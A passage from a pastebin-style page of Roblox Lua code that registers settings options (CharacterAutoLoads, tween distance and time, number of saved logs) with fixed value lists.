  1743. pcall(function()
  1744. table.insert(StringChildren, v.Name)
  1745. end)
  1746. end
  1747. return StringChildren
  1748. end
  1749. )
  1750. ]]
  1751. Create(
  1752. "CharacterAutoLoads", 3,
  1753. function(List, Command)
  1754. if List[1] == "True" then
  1755. Plrs.CharacterAutoLoads = true
  1756. elseif List[1] == "False" then
  1757. Plrs.CharacterAutoLoads = false
  1758. end
  1759. end,
  1760. function() return {"True", "False"} end
  1761. )
  1762.  
  1763. Create(
  1764. "Tween Distance", 4,
  1765. function(List, Command)
  1766. TweenNum = tonumber(List[1])
  1767. end,
  1768. function() return {"0", "10", "20", "50", "100", "200", "500", "700"} end
  1769. )
  1770.  
  1771. Create(
  1772. "Tween Time", 4,
  1773. function(List, Command)
  1774. TweenTime = tonumber(List[1])
  1775. end,
  1776. function() return {"0.03", "0.1", "0.5", "1", "2", "5"} end
  1777. )
  1778.  
  1779. Create(
  1780. "Logs Saved", 4,
  1781. function(List, Command)
  1782. LogNum = tonumber(List[1])
  1783. end,
  1784. function() return {"5", "20", "30", "50", "100", "200", "500", "1000", "2000"} end
  1785. )
  1786.  
  1787. --truta193
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement